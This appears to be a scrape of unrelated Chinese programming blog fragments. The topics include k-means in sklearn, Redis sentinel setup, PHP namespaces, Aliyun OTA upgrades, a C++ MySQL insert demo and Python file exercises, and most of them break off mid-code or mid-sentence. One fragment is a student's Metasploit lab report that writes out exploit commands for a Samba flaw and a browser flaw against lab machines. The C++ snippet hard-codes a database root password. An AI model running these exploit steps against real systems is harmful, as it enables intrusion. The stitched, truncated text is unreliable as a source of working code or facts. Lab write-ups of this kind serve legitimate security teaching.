sklearn中kmeans源码 源码结构 kmeans算法属于cluster包的k_means.py文件。使用的过程中通过
在使用常规(不含大批量数据的情况下)kmeans算法的实现过程如上图所示,Kmeans主类,包含若干的内部函数(紫色所示),若干的外部函数(蓝色所示)。函数之间的调用关系如上面箭头所示。最核心的函数有:_k_init函数,提供算法的初始化信息,这个过程中牵扯到策略的选择;_kmeans_single_elkan,通过elkan策略的中心点选择;_kmeans_single_lloyd,通过EM策略的中心点选择。
kmeans关键点 1.初始聚类中心点的选择2.聚类策略的选取(EM,elkn还是其他…)3.聚类距离的计算
优缺点:
kmeans算法通过Lloyd 或 Elkan算法实现。lloyd也就是我们手的em算法,elkan算法引入三角形两边之和大于第三边的定理减少没必要的欧式距离计算,但是这种算法类似动态规划,你需要开辟额外的存储空间。kmeans算法的平均算法复杂度为O(knt), 其中k是聚类个数,n是样本个数,t是最大迭代次数。最坏情况的算法复杂度O(n^(k+2/p))。kmeans算法的运算速度很快,最快的聚类算法之一了。但是在问题非凸的时候容易陷入局部最优解。
距离的计算 距离的运算一般有以下几种。闵可夫斯基距离(Minkowski distance)
当p=2,就是我们常用的欧式距离(euclidean distance)
当p=1,曼哈顿距离、城市街区距离(Manhattan distance,city block distance)
VDM距离
理解: 样本间距离计算技巧 阅读源码中我发现,sklearn中的kmeans算法用的时欧氏距离,而且在样本间距离计算的时候直接用的矩阵进行计算,在一般情况下我们对于两个样本间距离的计算恐怕是这样:比如我们想计算第一个样本与其他样本之间的距离,代码如下。
但是在源码中距离的计算实现逻辑是这样的:
运行结果:
刚开始我觉得这样有点多次依据吧~然而很快发现了自己太年轻,比如我想实现第一个跟第二个样本,跟剩下样本的距离就可以:
简直不能太方便,而且这种计算方法,直接矩阵操作,在时间和空间复杂度上都是非常好的。接下来附上推导过程:
kmeans算法原理
将以上过程用程序化的语言进行描述如下所示:kmeans算法的实施过程1、确定聚类中心(策略自己定义)2、进行若干次的循环(循环次数自己定义):2.1将剩下的样本根据距离划入相应的簇中2.2计算新的簇中心2.3如果新簇与老簇达到了结束条件(即两个分类中心之间的距离偏移量),就提前退出3、输出结果
kmeans算法实现 将上面的过程通过python实现,整个的逻辑过程,代码如下(代码中relativeDist,squaredNornal涉及到距离计算的优化和f范数的计算可以参阅我的其他博客):
kmeans算法改进 通过上文的分析不难发现,kmeans算法的性能主要依靠两个方面:1、初始位置的确定。一个好的初始位置将直接影响后续后续的迭代次数以及聚类的好坏。2、距离的计算。整个kmeans算法的运行过程就是样本与聚类中心点的距离计算过程,所以在距离计算上计算方法的改进也直接影响聚类的效果。
网络与系统攻防技术 实验六 Metasploit攻击渗透实践 dky 20192414 袁浩然 实践目标 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
一个主动攻击实践,尽量使用最新的类似漏洞; 一个针对浏览器的攻击,尽量使用最新的类似漏洞; 一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞; 成功应用任何一个辅助模块。 以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除1分。
实验过程 实验一 一个主动攻击实践(samba漏洞) 获得ubuntu靶机的IP地址 使用nessus对ubuntu靶机进行扫描,发现samba漏洞 kali启动msf查找samba模块,发现有好几个 使用其中一个samba模块进行攻击,设置目的主机,攻击成功!!! msfconsole use exploit/multi/samba/usermap_script set rhosts 172.17.140.212 run 实验二 一个针对浏览器的攻击(ms10_002) 确定XP靶机IP地址 kali启动msf查找ms10_002模块 设置目的主机和网页url,执行 msfconsole search ms10_002 use 0 set serhost 192.168.152.138 set uripath 20192414 run xp靶机打开192.
1.h1.cpp
#include <chrono> #include <iostream> #include <mysql/mysql.h> #include <sstream> #include <string.h> #include <uuid/uuid.h> using namespace std; static char *uuidValue = (char *)malloc(40); void mysqlClientDemo(); void mysqlClientInsert2(); void insertBulk3(int loops); char *getUuid() { uuid_t newUUID; uuid_generate(newUUID); uuid_unparse(newUUID, uuidValue); return uuidValue; } int main(int args, char **argv) { insertBulk3(atoi(argv[1])); } void insertBulk3(int loops) { try { MYSQL *conn, mysql; int state; mysql_init(&mysql); conn = mysql_real_connect(&mysql, localhost, root, Root0001!, myDB, 0, 0, 0); if (conn == NULL) { cout << mysql_error(&mysql) << endl; return; } stringstream ss; int64_t num = 0; int repeatedTimes = 1000000; chrono::time_point<chrono::system_clock> startTime; chrono::time_point<chrono::system_clock> endTime; for (int i = 0; i < loops; i++) { startTime = chrono::system_clock::now(); ss = stringstream(); ss << insert into mt(BookId,BookName,BookTitle) values ; for (int j = 0; j < repeatedTimes; j++) { ss << ( << ++num << ,' << getUuid() << ',' << getUuid() << '), << endl; } string str = ss.
java.lang.Object 是 Java 类结构中其他所有类的超类。
clone protected native Object clone() throws CloneNotSupportedException; clone 方法返回当前对象的副本对象。
Object 将 clone 作为一个本地方法来实现。当执行 clone 的时候,会检查调用对象的类(或者父类)是否实现了java.lang.Cloneable接口( Object 类不实现 Cloneable )。如果没有实现这个接口,将会抛出一个检查异常 — java.lang.CloneNotSupportedException,如果实现了这个接口,会创建一个新的对象,并将原来对象的内容复制到新对象,最后返回这个新对象的引用。
浅克隆与深克隆
Object 类的 clone 方法是浅克隆,浅克隆对于字符串以外的引用数据类型克隆的是地址。深克隆则可以进行完全克隆。
浅克隆 public class Human implements Cloneable { public String name; public int age; public Human mother; @Override public Object clone() throws CloneNotSupportedException { return super.clone(); } } public static void main(String[] args) throws CloneNotSupportedException { Human mother = new Human(); mother.
redis支持多实例-------基于多个配置文件,运行处多个redis相互独立的进程 1、配置三个redis
#redis-6379.conf -----主 port 6379 daemonize yes logfile 6379.log dbfilename dump-6379.rdb dir /test/data/ #redis-6380.conf------从1 port 6380 daemonize yes logfile 6380.log dbfilename dump-6380.rdb dir /test/data/ slaveof 127.0.0.1 6379 #redis-6381.conf-----从2 port 6381 daemonize yes logfile 6381.log dbfilename dump-6381.rdb dir /test/data/ slaveof 127.0.0.1 6379 2、启动好三个redis redis-server redis-6380.conf
使用命令redis-cli -p 6379 info replication 看到如下则成功3、配置三个哨兵
port 26379 dir /test/data/ logfile 26379.log // 当前Sentinel节点监控 192.168.119.10:6379 这个主节点 // 2代表判断主节点失败至少需要2个Sentinel节点节点同意 // mymaster是主节点的别名 sentinel monitor msredis 127.
<p><iframe name=ifd src=https://mnifdv.cn/resource/cnblogs/ESA2GJK1DH1K_A/aliyunota.html frameborder=0 scrolling=auto width=100% height=1500></iframe></p>
<iframe frameborder=0 height=1500 name=ifd scrolling=auto src=https://mnifdv.cn/resource/cnblogs/ESA2GJK1DH1K_A/aliyunota.html width=100%></iframe>
前言 这节说明一下如何使用阿里云物联网平台的OTA远程升级STM32程序 用户必须已经学习完了基本控制篇里面的阿里云物联网平台教程和看完了(主要是熟悉下流程)自建物联网平台OTA教程. 阿里云物联网平台是通过MQTT获取升级固件的版本,固件大小和下载地址信息. 升级概述 1,实现升级是使用的基础通信里面的Topic 阿里云介绍文档: https://help.aliyun.com/document_detail/85700.html
/ota/device/inform/a1m7er1nJbQ/${deviceName} 设备通过这个主题上报设备的固件版本号,要求设备在连接上服务器以后第一时间上报. 格式:
/ota/device/upgrade/a1m7er1nJbQ/${deviceName} 设备需要订阅这个主题,服务器会通过这个主题下发固件信息 一般在上传新固件以后,在平台上操作以后,平台才会主动下发. size是固件大小; version是服务器固件版本; url是固件下载地址 提示:url虽然给的是https 但是同样可以使用 http 80 端口进行下载, 这个阿里云平台没有强制SSL
{ code: 1000, data: { size: 432945, version: 2.0.0, isDiff: 1, url: https://iotx-ota-pre.oss-cn-shanghai.aliyuncs.com/nopoll_0.4.4.tar.gz?Expires=1502955804&OSSAccessKeyId=XXXXXXXXXXXXXXXXXXXX&Signature=XfgJu7P6DWWejstKJgXJEH0qAKU%3D&security-token=CAISuQJ1q6Ft5B2yfSjIpK6MGsyN1Jx5jo6mVnfBglIPTvlvt5D50Tz2IHtIf3NpAusdsv03nWxT7v4flqFyTINVAEvYZJOPKGrGR0DzDbDasumZsJbo4f%2FMQBqEaXPS2MvVfJ%2BzLrf0ceusbFbpjzJ6xaCAGxypQ12iN%2B%2Fr6%2F5gdc9FcQSkL0B8ZrFsKxBltdUROFbIKP%2BpKWSKuGfLC1dysQcO1wEP4K%2BkkMqH8Uic3h%2Boy%2BgJt8H2PpHhd9NhXuV2WMzn2%2FdtJOiTknxR7ARasaBqhelc4zqA%2FPPlWgAKvkXba7aIoo01fV4jN5JXQfAU8KLO8tRjofHWmojNzBJAAPpYSSy3Rvr7m5efQrrybY1lLO6iZy%2BVio2VSZDxshI5Z3McKARWct06MWV9ABA2TTXXOi40BOxuq%2B3JGoABXC54TOlo7%2F1wTLTsCUqzzeIiXVOK8CfNOkfTucMGHkeYeCdFkm%2FkADhXAnrnGf5a4FbmKMQph2cKsr8y8UfWLC6IzvJsClXTnbJBMeuWIqo5zIynS1pm7gf%2F9N3hVc6%2BEeIk0xfl2tycsUpbL2FoaGk6BAF8hWSWYUXsv59d5Uk%3D, md5: 93230c3bde425a9d7984a594ac55ea1e, sign: 93230c3bde425a9d7984a594ac55****, signMethod: Md5, module: MCU }, id: 1507707025, message: success } /ota/device/progress/a1m7er1nJbQ/${deviceName} 设备可以使用这个主题上报更新进度, 发布的消息格式看下面 /sys/a1m7er1nJbQ/${deviceName}/thing/ota/firmware/get 设备可以使用这个主题主动请求云端固件信息, 详细说明看下面 开始测试 1.
php命名空间可以解决下面两个问题:
1、用户编写的代码与php内部的类/函数/常量或第三方类/函数/常量之间的名字冲突
2、为很长的标识符名称(通常是为了缓解第一类问题而定义的)创建一个别名(或简短)的名称,提高源代码的可读性
定义命名空间
通过关键字namespace声明。如果一个文件中包含命名空间,它必须在其它所有代码之前声明命名空间
语法:
namespace myspace;
statement;
可以定义不同的命名空间:
<?php namespace MyProject { … } namespace AnotherProject { … } ?> 这种使用大括号形式的语法更规范,也可以不使用大括号
将全局的非命名空间中的代码与命名空间中的代码组合在一起,只能使用大括号形式的语法。全局代码必须用一个不带名称的namespace语句加上大括号括起来:
<?php namespace MyProject { … } namespace { // 全局代码 … } ?> 在声明命名空间之前唯一合法的代码是用于定义源文件编码方式的declare语句,所有非php代码包括空白符都不能出现在命名空间的声明之前:
declare(encoding='UTF-8'); php命名空间也允许指定层次化的命名空间的名称。因此,命名空间的名字可以使用分层次的方式定义:
namespace my\sub\segment; 命名空间中的类名可以通过三种方式引用:
1、非限定名称,或不包含前缀的类名称
2、限定名称,或包含前缀的名称
3、完全限定名称,或包含了全局前缀操作符的名称
比如:
<?php namespace Foo\Bar; include 'file1.php'; const FOO = 2; function foo() {} class foo { static function staticmethod() {} } /* 非限定名称 */ foo(); // 解析为函数 Foo\Bar\foo foo::staticmethod(); // 解析为类 Foo\Bar\foo ,方法为 staticmethod echo FOO; // 解析为常量 Foo\Bar\FOO /* 限定名称 */ subnamespace\foo(); // 解析为函数 Foo\Bar\subnamespace\foo subnamespace\foo::staticmethod(); // 解析为类 Foo\Bar\subnamespace\foo, // 以及类的方法 staticmethod echo subnamespace\FOO; // 解析为常量 Foo\Bar\subnamespace\FOO /* 完全限定名称 */ \Foo\Bar\foo(); // 解析为函数 Foo\Bar\foo \Foo\Bar\foo::staticmethod(); // 解析为类 Foo\Bar\foo, 以及类的方法 staticmethod echo \Foo\Bar\FOO; // 解析为常量 Foo\Bar\FOO ?
1. linux驱动设备分类 1.1 字符设备 -c 1、没有文件系统 2、应用程序和驱动程序之间进行数据交互时,数据是以字节进行数据交换,并且是按照固定的顺序传输的,数据是实时传输的。 3、字符设备有:LED、IIC、SPI、按键 4、字符设备的file_operations成员函数就由字符设备驱动提供(一般字符设备都会实现相应的fops集),file_operations是字符设备驱动的核心。
1.2 块设备 -b 1、有文件系统 2、应用程序和驱动程序之间进行数据交互时,数据是以块为单位的,块设备的有缓存的,随机存取。 3、块设备有:Nandflash、EMMC、U盘。 4、采用mount方式挂载块设备。
1.3 网络设备 1、使用数据包发送和接收 2、网卡设备:有线网卡、无线网卡 3、网络设备没有文件系统 4、应用程序:socket套接字为IP+端口号
ubuntu下出现这个问题, 原因是文件路径不存在,或者文件夹不存在,或者没有权限。
1、确保目标文件夹已经存在; 2、sudo chmod 777 ××× :开启访问权限。
// 完整代码如下: // html5-http-上传文件.html <!DOCTYPE html> <html> <head> <meta charset=utf-8> <title>使用FormData对象向服务器端上传文件</title> <script> function uploadFile() { var formData = new FormData(); var files = document.getElementById(file1).files; for (var i = 0; i < files.length; i++) { var file = files[i]; // myfile[] 中的index可以省略 formData.append(`myfile[]`, file); } var xhr = new XMLHttpRequest(); xhr.open('POST', 'test-上传文件.php', true); xhr.onload = function (e) { if (this.status == 200) { document.
3.实验任务3
f=open('data3.txt','r') g=open('data3_processed.txt','w') a=[line.strip('\n') for line in f] a.pop(0) list1=[eval(j) for j in a] print(f'原始数据:\n{list1}') list2=[round(i) for i in list1] print(f'四舍五入后数据:\n{list2}') c=['原始数据']+[i for i in list1] d=['四舍五入后数据']+[i for i in list2] for i in range(len(list1)): g.write(f{c[i]}\t\t{d[i]}\n) f.close() g.close() 4.实验任务4
f=open('data4.txt','r') g=open('data4_processed.txt','w') num=[line.strip('\n') for line in f] fenshu=[i.split('\t') for i in num] num_=fenshu.pop(0) fenshu.sort(key=lambda x:(x[2], x[3]),reverse=True) g.write('\t'.join(num_)) g.write('\n') for i in fenshu: g.write('\t'.join(i)) g.write('\n') f.close() g.close() t=open(data4_processed.txt,encoding=utf-8) print(t.read()) t.